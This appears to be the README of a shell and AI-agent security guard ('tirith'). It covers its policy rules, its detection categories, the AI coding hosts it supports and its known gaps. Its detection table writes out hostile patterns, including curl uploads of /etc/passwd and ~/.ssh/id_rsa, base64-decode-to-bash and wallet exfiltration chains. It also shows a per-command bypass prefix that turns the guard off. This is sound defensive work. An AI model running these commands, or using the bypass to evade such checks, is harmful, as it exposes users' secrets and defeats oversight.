On shell exit, a one-line summary is printed if any warnings were recorded during the session.
More examples in docs/cookbook.md.
Author your own rules in .tirith/policy.yaml under custom_rules:. Each rule is either a pattern: (regex) or a when: semantic predicate tree, plus a context: (exec, paste, or file), a severity:, and a title:.
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
The when: DSL combines all: / any: / not: over predicates like command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation, and file.path_matches. Reputation predicates read the local signed threat database, so a custom rule still makes no network call on the hot path. Validate and dry-run before committing:
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
Other policy keys, all with safe defaults (tirith policy init writes the fully-commented set):
package_policy: thresholds turn supply-chain signals into block or warn verdicts (block_typosquat_distance, warn_low_downloads_below, block_newer_than_days, block_not_found).agent_rules: allow: / deny: match a command's caller origin ({ kind, name }); a deny match forces a block. scan.trusted_mcp_servers and scan.mcp_allowed_tools accept specific MCP servers and per-server tools.env_guard_enabled, exec_guard_enabled, , , plus , , and .Repo-scoped .tirith/policy.yaml files can only tighten, never weaken: a repo policy that tries to widen an allowlist, lower a severity, or disable a guard is neutralized, and tirith policy effective shows which fields were dropped. Only user-level and org-level (TIRITH_POLICY_ROOT) policies can relax a default.
With strict_warn: true (or --strict-warn on the CLI), medium-risk findings prompt for explicit acknowledgement in interactive terminals instead of silently warning:
$ curl -sSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
Shell hooks use exit code 3 for the warn-ack protocol. Old hooks that don't know about exit code 3 fall through to fail-open behavior.
[!NOTE] Exit code 3 is the warn-ack hook protocol path, not the normal direct-CLI contract. Non-hook callers should not normally see exit code 3; if they do, it indicates acknowledgement is required.
For the rare case you know exactly what you're doing:
TIRITH=0 curl -L https://something.xyz | bash
This is a standard shell per-command prefix; the variable exists only for that single command and does not persist in your session. Organizations can disable it entirely with allow_bypass_env: false in policy.
[!CAUTION]
TIRITH=0is per-command. Do not export it in shell profiles, dotfiles, or CI config; a permanent bypass defeats the entire protection model. If you find yourself reaching for it often, add the trusted source toallowlistin your policy file instead.
Local JSONL audit log at ~/.local/share/tirith/log.jsonl:
raw_action, raw_rule_ids) preserved alongside enforced action for coverage auditing~/.local/state/tirith/sessions/Disable: export TIRITH_LOG=0
Feature guides:
web3_guard policy, the three Web3 rules, and command-card v2 bindings)task_gate policy, and the preview MCP tool)pkg attest-npm, and exactly what it does not bind)agent_rules)--quick, and the JSON snapshot schema)Core security coverage ships in the open-source tree. All 244 detection rules and the MCP server are available from source. The repository still contains legacy licensing and policy-server code paths, so avoid assuming that every runtime path is already tier-free.
tirith is dual-licensed:
Third-party data attributions in NOTICE.
| Category | What it stops |
|---|
| Homograph attacks | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains, text-level confusable detection (math alphanumerics, same-word mixed-script) |
| Terminal injection | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors, Hangul fillers |
| Steganography defense | Invisible whitespace encoding (12 Unicode space variants), Mongolian Vowel Separator, Hangul Filler characters, math alphanumeric substitution, defenses against st3gg-style text steganography |
| Pipe-to-shell | curl | bash, wget | sh, httpie | sh, xh | sh, python <(curl ...), eval $(wget ...), plus many wrapper, decode, and indirection paths |
| Base64 decode-execute | base64 -d | bash, python -c "exec(b64decode(...))", powershell -EncodedCommand, decode chains through sudo/env wrappers |
| Data exfiltration | curl -d @/etc/passwd, curl -T ~/.ssh/id_rsa, wget --post-file, env var uploads ($AWS_SECRET_ACCESS_KEY), command substitution exfil |
| Code file scanning | Obfuscated payloads (eval(atob(...))), dynamic code execution (exec(b64decode(...))), secret exfiltration via fetch/requests.post in JS/Python files |
| Credential detection | AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection |
| Post-compromise behavior | Process memory scraping (/proc/*/mem), Docker remote privilege escalation, credential file sweeps, calibrated against TeamPCP and UNC1069 post-compromise tooling |
| Command safety | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access |
| Insecure transport | Plain HTTP piped to shell, curl -k, disabled TLS verification, shortened URLs hiding destinations |
| Environment | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env |
| Config file security | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) |
| Ecosystem threats | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured |
| Install-command safety | APT repos added from a piped download, [trusted=yes] / --allow-unauthenticated / --nogpgcheck / pacman SigLevel = Never (disabled signature checks), kubectl apply -f against raw/shortened remote manifests, Helm charts from untrusted repos, Terraform modules from untrusted remote sources, brew install/tap from arbitrary URLs |
| Path analysis | Non-ASCII paths, homoglyphs in paths, double-encoding |
| Rendered content | Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium) |
| Cloaking detection | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text |
| Windows / PowerShell | Set-ExecutionPolicy Bypass / -ep, Windows Defender exclusions (Add-MpPreference -Exclusion*), inline iex (iwr ...) download-execute |
| Terminal output defense | OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink and title / clear-screen manipulation, prompt injection inside command or MCP tool output (scanned both raw and deobfuscated, so invisible-character, confusable, spaced-out, leetspeak, and short base64 / hex evasions are caught too), and output data exfiltration (beacon URLs or "read a secret then send it" directives) |
| Operational context | Destructive commands against labeled-prod cloud / k8s contexts and SSH hosts, Terraform / Pulumi / OpenTofu apply without a matching saved plan, risky sudo escalation, privileged docker run |
| Workstation & persistence | Loose-permission credential files and plaintext tokens (~/.ssh, ~/.aws, .npmrc), persistence footholds (shell rc, authorized_keys, crontab, LaunchAgents, git core.hooksPath), PATH-hijack ordering, executable provenance, risky aliases, and sensitive env-var lifecycle |
| Blast radius & correlation | Deletes that escape the repo, mass deletions, executing files downloaded from risky sources, and session chains such as secret-write then network or delete then git push --force |
| Trust, attestation & provenance | Signed command-card mismatch, canary honeytoken touches, paste source-host mismatch, caller-origin (agent) policy denials, MCP lockfile drift, and AI-config drift versus a known-safe snapshot |
| Web3 command guard | On-chain writes from Cast / Forge / Hardhat / Solana / Anchor commands (High when the same command also disables a declared safety control), raw private-key, keypair, or mnemonic material on the command line, and an RPC endpoint or signer the operator's web3_guard policy does not trust. Grammar and policy only: no chain state is read, no transaction is simulated, and no address is scored |
| Wallet exfiltration | Reviewed wallet, keystore, browser-wallet, and Solana-keypair material flowing to a proven remote sink, including archive, base64, hex, compressor, and encryptor staging hops and xargs / find -exec operand promotion. A source-only read is deliberately not a finding |
| CI artifact poisoning | A fork-reachable workflow that uploads a build artifact, consumed by a privileged workflow_run workflow bound to the triggering run that then executes, sources, PATH-mutates, publishes, or deploys it |
attest receipt records what two trees contained
at one moment. Tirith does not run your build and cannot say the output came
from the source. A deployment receipt is a point-in-time measurement, not
continuous monitoring.yumpacmanexec directly, or runs without the hook loaded is not covered
by that layer. MCP registration is cooperative unless calls are routed
through the gateway. A supported pre-tool hook can automatically withhold a
host command, but only when that host loaded and honored it; several hosts
fail open when a hook process errors. Verify the effective host, not just the
presence of a config file.os, subprocess, and pty.spawn forms, but it is
not a Python runtime sandbox. A wrapper defined in an earlier cell,
reflection such as getattr/__import__, or a third-party package that
spawns a process can escape what a source lexer can prove.dlp_custom_patterns can currently
rewrite protocol-owned string values in recursively redacted JSON/MCP
projections, including generated identifiers or receipt metadata. Avoid
patterns that can match structural values when consuming signed or
machine-stable output; this needs field-aware redaction before release.tirith install --yes is accepted as the
package-manager task gate's unattended require_approval channel. It is an
explicit operator flag, not proof of a human TTY confirmation. Use a blocking
task policy where unattended execution must be impossible.task_gate.mode: enforce with action_incomplete_analysis: block
refuses those at the five boundaries that submit a shell envelope, and changes
nothing at the four package and config-write boundaries, which always assess
as complete. warn is the default. The alternative,
effects_denied_for_untrusted_sources, denies the named effect on every call
at every owned boundary, including commands you typed yourself, because no
source at those boundaries is ever treated as trusted.tirith capsule run --preset untrusted-project and enforcing tirith pkg install are enforceable only on
x86_64 Linux with a usable Landlock ABI. Every other host refuses before
anything is copied or spawned, with no degraded fallback. Domain
allow-listing is not offered by any backend.bash -c "cat <wallet>" | curl -d @- <url>,
is not correlated today. The same chain wholly inside or wholly outside the
-c body is detected.exec transition, durable state update, authorized resume, and
terminal launcher proof all complete. A gateway call is confirmed only by an
exact correlated result. Shell observations and forwarded gateway calls that
time out or are cancelled remain conservative unresolved evidence, never
confirmed execution. Strict shell receipts are available for interactive
bash, zsh, and fish; PowerShell remains preflight-only. Native Linux launcher
behavior must be verified by Linux CI or a native Linux host; neither portable
source/unit coverage nor a macOS build can substitute.forge create is not yet modelled on engine surfaces;
several declared web3_guard fields are parsed but not enforced; and
schema-2 command-card Web3 bindings do not yet have a CLI authoring or live
engine-consumption path. Treat these as known gaps, not silent authorization.| Incident | Year | Attack shape |
|---|
| Shai-Hulud npm worm | 2025 | Self-propagating package malware; exfiltrated GitHub tokens and AWS keys from 180+ packages, published findings to public Shai-Hulud repos |
| Slopsquatting | 2023 to ongoing | Attackers register LLM-hallucinated package names on npm / PyPI / crates.io; USENIX 2025 found 58% of hallucinated names repeat across runs |
| Team PCP / UNC1069 tooling | ongoing | Post-compromise credential sweeps, /proc/*/mem scraping, Docker privilege escalation |
| colors.js / faker.js sabotage | 2022 | Author self-sabotage of widely-used packages |
| event-stream compromise | 2018 | Transferred ownership to attacker; payload targeted Bitcoin wallets |
| Tool | What it does |
|---|
tirith_check_command | Analyze shell commands for pipe-to-shell, homograph URLs, env injection |
tirith_check_url | Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs |
tirith_check_paste | Check pasted content for ANSI escapes, bidi controls, zero-width chars |
tirith_scan_file | Scan a file for hidden content, invisible Unicode, config poisoning |
tirith_scan_directory | Recursive scan with AI config file prioritization |
tirith_verify_mcp_config | Validate MCP configs for insecure servers, shell injection in args, wildcard tools |
tirith_fetch_cloaking | Detect server-side cloaking (different content for bots vs browsers) |
tirith mcptirith mcp-servermcp_settings.json.github/copilot-instructions.md, .github/agents/*.mdChart.yaml), a chart dependency from an untrusted chart repositorypackage.json: a preinstall / install / postinstall lifecycle script that runs a dangerous command (pipe-to-shell, obfuscated payload, download-and-run); these hooks run automatically on npm install$PATHtirith browser| Shell | Hook type | Tested on |
|---|
| zsh | accept-line + paste widgets | 5.8+ |
| bash | preexec (two modes) | 3.2 compatibility path; 5.0+ for the fully tested modern path |
| fish | Enter-key + paste handlers | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |
| Shell | Behavior |
|---|
| bash enter mode | Reliable blocking. Binds Enter; can stop a command before bash commits to running it. Used by default only where a capability self-test (tirith doctor --simulate-enter) has proven bind -x delivery works for the running bash. |
bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1 | Conditional blocking. Scans one trustworthy whole line, then turns on Tirith-owned extdebug only for a block and restores it at the next prompt. Existing string/array PROMPT_COMMAND entries keep their order and run outside scanning. Enforcement visibly refuses or downgrades when history is filtered or an alias / command substitution / eval makes the typed line drift from BASH_COMMAND; unsafe prompt/DEBUG ownership or user-owned extdebug leaves interception explicitly off rather than mutating user state. |
| bash preexec (no enforce flag) | Warn-only. Prints a DETECTED banner on risky commands; does not block. The fallback when the enter-mode self-test has not proven delivery works. |
| zsh, fish | Reliable blocking in their Enter/accept-line handlers, before the native shell handoff. Notification-only preexec events are not treated as authorization gates. |
| PowerShell | Reliable PSReadLine preflight blocking; no strict execution receipt. |
| nushell | Warn-only (does not currently support command interception). |
| Host | Setup | Protection layer installed by setup | Scope |
|---|
| Claude Code | tirith setup claude-code --with-mcp | Blocking PreToolUse; MCP optional | Project default or user |
| Cline | tirith setup cline | Blocking PreToolUse on POSIX and PowerShell, plus MCP; host runs the tool if the hook process fails | User only; hooks must be enabled in Cline |
| OpenAI Codex | tirith setup codex | MCP gateway; optional non-interactive zsh guard with --install-zshenv | User only |
| GitHub Copilot CLI | tirith setup copilot-cli | Blocking preToolUse hook | Project only; launch from repo root |
| Continue | tirith setup continue | MCP only | Project only |
| Cursor | tirith setup cursor | beforeShellExecution hook plus MCP gateway; optional zsh guard | Project default or user |
| Vercel Labs fx | tirith setup fx | MCP only | Trusted user profile only |
| Gemini CLI | tirith setup gemini-cli --with-mcp | Blocking BeforeTool; MCP optional | Project default or user |
| Grok Build | tirith setup grok-build | POSIX PreToolUse plus MCP; host can fail open on hook error/timeout | Project default or user |
| Kiro CLI | tirith setup kiro | Blocking agent-scoped preToolUse hook | Project default or user; the Tirith-enabled agent must be loaded |
| OMP / Oh My Pi | tirith setup omp | Blocking tool_call guard plus MCP | User/profile only |
| OpenClaw | tirith setup openclaw | Blocking before_tool_call plugin | Project default or user |
| OpenCode | tirith setup opencode | MCP only | Project default or user |
| OpenHands CLI | tirith setup openhands | POSIX pre_tool_use hook plus user MCP; host can fail open on hook error | User default; project hook also supported |
| Pi CLI | tirith setup pi-cli | Blocking tool_call extension | Project default or user |
| Prime Agent | tirith setup prime-agent | Blocking bash/IPython guard plus MCP | User only |
| Roo Code | tirith setup roo-code | MCP only | Project only |
| VS Code | tirith setup vscode | Workspace hook plus MCP gateway; optional zsh guard | Project only |
| Windsurf | tirith setup windsurf | pre_run_command hook plus MCP gateway; optional zsh guard | User only |
| Command | What it does |
|---|
tirith check -- <cmd> | Analyze a command without executing it (--suggest adds remediation and, when verified, a narrow mechanical rewrite) |
tirith paste | Check pasted content (called automatically by shell hooks) |
tirith scan [path] | Scan files, directories, and configs (--profile, --format sarif, --ci) |
tirith run [--capsule] <url> | Inspect a remote script (--no-exec on Unix); Linux live execution is contained and fail-closed by default, using the exact reviewed bytes from a sealed anonymous descriptor (--capsule is a legacy compatibility spelling) |
tirith fix -- <cmd> | Interactively apply a verified fail-closed pipe-runner rewrite when available; otherwise show guidance |
tirith score <url> / diff <url> | Break down a URL's trust signals, or show where suspicious characters hide |
tirith explain --rule <id> / why | Rule docs and remediation, or explain the last trigger |
tirith status / doctor | Are you protected? Diagnose install, hooks, and policy (--fix, --quick) |
tirith setup <tool> / init | One-command AI-tool setup, or print the shell hook |
tirith policy {init,validate,test} | Scaffold, validate, and dry-run your policy |
tirith trust {add,list,remove} | Manage trusted patterns (narrow scope, 30-day TTL by default) |
tirith threat-db update | Download and verify the signed threat database |
tirith package risk <eco> <name> | Score a package's supply-chain risk |
tirith ecosystem scan [path] | Score every declared dependency in a project |
tirith package inspect --artifact <wheel> | Inspect exact Python artifact bytes, startup hooks, native code, RECORD integrity, and cross-wheel execution chains |
tirith pkg {approve,install,verify-env} | Approve, hash-pin, contain, install, and verify Python packages on supported x86_64 Linux hosts |
tirith mcp {lock,verify} | Pin and gate a repo's MCP servers |
tirith gateway run | Proxy an upstream MCP server and enforce configured request/output boundaries |
tirith daemon start | Background daemon for faster checks (Unix) |
| Command | What it does |
|---|
tirith task check | Preview. Assess an untrusted task envelope (issue body, PDF, web page) and report which effects it would be allowed. Executes nothing and stops nothing |
tirith capsule run --preset untrusted-project | Copy an untrusted project into a held ephemeral directory and run an exact argv in a fail-closed capsule. Enforceable on x86_64 Linux only; every other host refuses before anything is copied or spawned |
tirith browser audit | Read-only integrity audit of installed Chromium-family extension source trees, with drift against a signed baseline |
tirith pkg attest-npm | Ask the project's own npm to verify its installed packages' registry signatures, bound to the exact lockfile and install tree |
tirith attest {build,verify-build,deployment,verify-deployment} | Point-in-time receipts over two trees and over deployed routes. Not a reproducible-build claim, and not continuous monitoring |
tirith paste--suggest and explain --fix print a separate command for you to run; they never substitute one.tirith daemon start is the only resident process, and it is opt-in.run, fetch, and audit report --upload reach the network only on explicit
invocation; check uses the configured runtime threat sources and the
threat-DB refresh follows the schedule above. Daemon mode adds network-aware
URL resolution, and optional webhook / policy-server integrations can make
outbound requests when configured. --offline / TIRITH_OFFLINE=1 disables
every check hot-path network producer in both daemon and inline modes.tirith run, fetch --save, and command-card fetch refuse private, loopback, and cloud-metadata hosts by default, and an
SSRF guard re-checks DNS at connect time and on every redirect hop. To reach a
specific internal service, set TIRITH_PRIVATE_FETCH_ALLOW to a comma-separated
list of exact hostnames, private IPs, or bounded private CIDRs (for example,
registry.internal,10.42.0.0/24). The legacy broad
TIRITH_ALLOW_PRIVATE_FETCH=1 switch is not honored. Link-local, special-use,
and cloud control-plane/credential endpoints remain blocked even when a host is
approved. Note what a hostname entry grants: that name is approved for
whatever it resolves to inside private-use and loopback space, 127.0.0.1
included, because resolution is not part of the trust decision. Prefer a CIDR
entry when you mean a fixed address range, and use a hostname only when the
name itself is what you trust.hooks_guard_enabledbaseline_enablediac_require_plan_before_applysudo_require_reasonallowed_install_domainspaste_source_mismatch rule)tirith prompt-status into your shell prompt)